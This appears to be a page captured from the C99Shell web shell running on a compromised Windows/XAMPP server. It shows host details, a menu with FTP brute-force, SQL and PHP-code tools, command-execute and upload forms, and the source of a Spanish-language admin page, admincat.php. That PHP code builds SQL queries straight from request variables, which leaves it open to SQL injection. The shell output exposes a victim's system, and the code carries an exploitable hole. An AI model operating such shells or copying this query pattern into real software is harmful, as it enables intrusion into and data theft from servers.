!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\phpold\OAB\admin\   drwxrwxrwx
Free 7.27 GB of 239.26 GB (3.04%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admincat.php (7.98 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php require_once('../Connections/oa.php'); ?>
<? //DETERMINO LA ÚLTIMA VARIABLE DECLARADA EN EL URL// 
if (!isset($nivel44)&& !isset($nivel33) && !isset($nivel2)){
$cm=$nivel1;
$numm=1;
$ruta="n1=$n1";
}else if (!isset($nivel4)&& isset($nivel3)){
$cm = $nivel3;
$numm=3;
$ruta="n1=$n1&n2=$n2&n3=$n3";
}else if (!isset($nivel4)&& !isset($nivel3) && isset($nivel2)){
$cm = $nivel2;
$numm=2;
$ruta="n1=$n1&n2=$n2";
}else{
$cm = $nivel4;
$numm=4;
$ruta="n1=$n1&n2=$n2&n3=$n3&n4=$n4";
}
$var_tabla="nivel".strlen($cm);
$var_campo="idnivel".strlen($cm);
?>

<?php
mysql_select_db
($database_oa$oa);
$query_rsn1 "select * from nivel1 order by idnivel1";
$rsn1 mysql_query($query_rsn1$oa) or die(mysql_error());
$row_rsn1 mysql_fetch_assoc($rsn1);
$totalRows_rsn1 mysql_num_rows($rsn1);

$nivel1_rsN2 "10";
if (isset(
$nivel1)) {
  
$nivel1_rsN2 = (get_magic_quotes_gpc()) ? $nivel1 addslashes($nivel1);
}
mysql_select_db($database_oa$oa);
$query_rsN2 sprintf("SELECT * FROM nivel2 WHERE idnivel1=%s ORDER BY idnivel2"$nivel1_rsN2);
$rsN2 mysql_query($query_rsN2$oa) or die(mysql_error());
$row_rsN2 mysql_fetch_assoc($rsN2);
$totalRows_rsN2 mysql_num_rows($rsN2);

$nivel2_rsN3 "0";
if (isset(
$nivel2)) {
  
$nivel2_rsN3 = (get_magic_quotes_gpc()) ? $nivel2 addslashes($nivel2);
}
mysql_select_db($database_oa$oa);
$query_rsN3 sprintf("select * from nivel3 where idnivel2=%s order by idnivel3"$nivel2_rsN3);
$rsN3 mysql_query($query_rsN3$oa) or die(mysql_error());
$row_rsN3 mysql_fetch_assoc($rsN3);
$totalRows_rsN3 mysql_num_rows($rsN3);

$nivel3_rsN4 "0";
if (isset(
$nivel3)) {
  
$nivel3_rsN4 = (get_magic_quotes_gpc()) ? $nivel3 addslashes($nivel3);
}
mysql_select_db($database_oa$oa);
$query_rsN4 sprintf("select * from nivel4 where idnivel3=%s order by idnivel4"$nivel3_rsN4);
$rsN4 mysql_query($query_rsN4$oa) or die(mysql_error());
$row_rsN4 mysql_fetch_assoc($rsN4);
$totalRows_rsN4 mysql_num_rows($rsN4);

$x1_rsNOMBRE1 "0";
if (isset(
$nivel1)) {
  
$x1_rsNOMBRE1 = (get_magic_quotes_gpc()) ? $nivel1 addslashes($nivel1);
}
mysql_select_db($database_oa$oa);
$query_rsNOMBRE1 sprintf("SELECT nombre FROM nivel1 WHERE idnivel1=%s"$x1_rsNOMBRE1);
$rsNOMBRE1 mysql_query($query_rsNOMBRE1$oa) or die(mysql_error());
$row_rsNOMBRE1 mysql_fetch_assoc($rsNOMBRE1);
$totalRows_rsNOMBRE1 mysql_num_rows($rsNOMBRE1);

$cm_rsIntros "0";
if (isset(
$cm)) {
  
$cm_rsIntros = (get_magic_quotes_gpc()) ? $cm addslashes($cm);
}
mysql_select_db($database_oa$oa);
$query_rsIntros sprintf("select intros.titulo from intros where idtema=%s"$cm_rsIntros);
$rsIntros mysql_query($query_rsIntros$oa) or die(mysql_error());
$row_rsIntros mysql_fetch_assoc($rsIntros);
$totalRows_rsIntros mysql_num_rows($rsIntros);

$cm_rsContenidos "0";
if (isset(
$cm)) {
  
$cm_rsContenidos = (get_magic_quotes_gpc()) ? $cm addslashes($cm);
}
mysql_select_db($database_oa$oa);
$query_rsContenidos sprintf("SELECT idcontenido, contenidos.titulo FROM contenidos WHERE idcat=%s order by orden"$cm_rsContenidos);
$rsContenidos mysql_query($query_rsContenidos$oa) or die(mysql_error());
$row_rsContenidos mysql_fetch_assoc($rsContenidos);
$totalRows_rsContenidos mysql_num_rows($rsContenidos);

?>
<html>
<head>
<title>Admin - OAB</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="css/adminestilos.css" rel="stylesheet" type="text/css">
</head>

<body>
<p>&nbsp;</p><table width="600" border="1" align="center" cellpadding="0" cellspacing="0">
  <tr>
    
        
          <td><table >
        <tr> NIVEL 1 <br/>
          <?php
$rsn1_endRow 
0;
$rsn1_columns 6// number of columns
$rsn1_hloopRow1 0// first row flag
do {
    if(
$rsn1_endRow == 0  && $rsn1_hloopRow1++ != 0) echo "<tr>";
   
?>
          
          <td> 
            | <a href="admincat.php?nivel1=<?php echo $row_rsn1['idnivel1']; ?>"><?php echo $row_rsn1['nombre']; ?></a> |</td>
          <?php  $rsn1_endRow++;
if(
$rsn1_endRow >= $rsn1_columns) {
  
?>
        </tr>
        <?php
 $rsn1_endRow 
0;
  }
} while (
$row_rsn1 mysql_fetch_assoc($rsn1));
if(
$rsn1_endRow != 0) {
while (
$rsn1_endRow $rsn1_columns) {
    echo(
"<td>&nbsp;</td>");
    
$rsn1_endRow++;
}
echo(
"</tr>");
}
?>
      </table></td>
       
        
      </tr>
</table>
<br>
<?php if ($totalRows_rsN2 0) { // Show if recordset not empty ?>
<table width="600" border="1" align="center" cellpadding="0" cellspacing="0">
  <tr> <?php echo $row_rsn1['nombre']; ?>
    <td><span class="titulos1">NIVEL 2<br/><?php echo $row_rsNOMBRE1['nombre']; ?></span><br>
<?php do { ?>
      <a href="admincat.php?nivel1=<? echo $nivel1;?>&nivel2=<?php echo $row_rsN2['idnivel2']; ?>"><?php echo $row_rsN2['nombre']; ?></a><br>
      <?php } while ($row_rsN2 mysql_fetch_assoc($rsN2)); ?> </td>
  </tr>
</table>
<?php // Show if recordset not empty ?>
<br>
<?php if ($totalRows_rsN3 0) { // Show if recordset not empty ?>
<table width="600" border="1" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td><span class="titulos1">NIVEL 3 </span><br/>
      <?php do { ?>
      <a href="admincat.php?nivel1=<? echo $nivel1;?>&nivel2=<? echo $nivel2;?>&nivel3=<?php echo $row_rsN3['idnivel3']; ?>"><?php echo $row_rsN3['nombre']; ?></a><br>
      <?php } while ($row_rsN3 mysql_fetch_assoc($rsN3)); ?> </td>
  </tr>
</table>
<?php // Show if recordset not empty ?>
<br>
<?php if ($totalRows_rsN4 0) { // Show if recordset not empty ?>
<table width="600" border="1" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td><span class="titulos1">NIVEL 4 </span><br/>
      <?php do { ?>
      <a href="admincat.php?nivel1=<? echo $nivel1;?>&nivel2=<? echo $nivel2;?>&nivel3=<? echo $nivel3;?>&nivel4=<?php echo $row_rsN4['idnivel4']; ?>"><?php echo $row_rsN4['nombre']; ?></a><br>
      <?php } while ($row_rsN4 mysql_fetch_assoc($rsN4)); ?> </td>
  </tr>
</table>
<?php // Show if recordset not empty ?>
<br/>
<?php if ($totalRows_rsIntros 0) { // Show if recordset not empty ?>
<?php 
if ($totalRows_rsIntros 0) { // Show if recordset not empty ?>
<table width="600" border="1" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td><p><span class="texto">Introducci&oacute;n para el &iacute;tem:</span> 
        <span class="titulos1"> 
        <? $tabla="nivel".$numm;
$campo="idnivel".$numm;
?>
        <? $link = mysql_connect($hostname_oa, $username_oa, $password_oa);
mysql_select_db("oa", $link);
$result = mysql_query("select nombre from $tabla where $campo=$cm", $link);
if ($row = mysql_fetch_array($result)){
echo $row['nombre'];
} else {
}
    ?>
        <br>
        </span></p>
      <p class="texto"><?php echo $row_rsIntros['titulo']; ?></p></td>
  </tr>
</table>
<?php // Show if recordset not empty ?>
<?php 
// Show if recordset not empty ?>
<br/>
<?php if ($totalRows_rsContenidos 0) { // Show if recordset not empty ?>
<table width="600" border="1" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td><span class="texto">Contenidos asociados al &iacute;tem:</span> <span class="titulos1"> 
      <? $tabla="nivel".$numm;
$campo="idnivel".$numm;
?>
      <? $link2 = mysql_connect($hostname_oa, $username_oa, $password_oa);
mysql_select_db("oa", $link2);
$result2 = mysql_query("select nombre from $tabla where $campo=$cm", $link2);
if ($row2 = mysql_fetch_array($result2)){
echo $row2['nombre'];
} else {
}
    ?>
      </span><br> <br/> <?php do { ?>
      <span class="texto"><?php echo $row_rsContenidos['titulo']; ?></span><br>
      <?php } while ($row_rsContenidos mysql_fetch_assoc($rsContenidos)); ?> </td>
  </tr>
</table>
<?php // Show if recordset not empty ?>
</body>
</html>
<?php
mysql_free_result
($rsn1);

mysql_free_result($rsN2);

mysql_free_result($rsN3);

mysql_free_result($rsN4);

mysql_free_result($rsNOMBRE1);

mysql_free_result($rsIntros);

mysql_free_result($rsContenidos);

?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--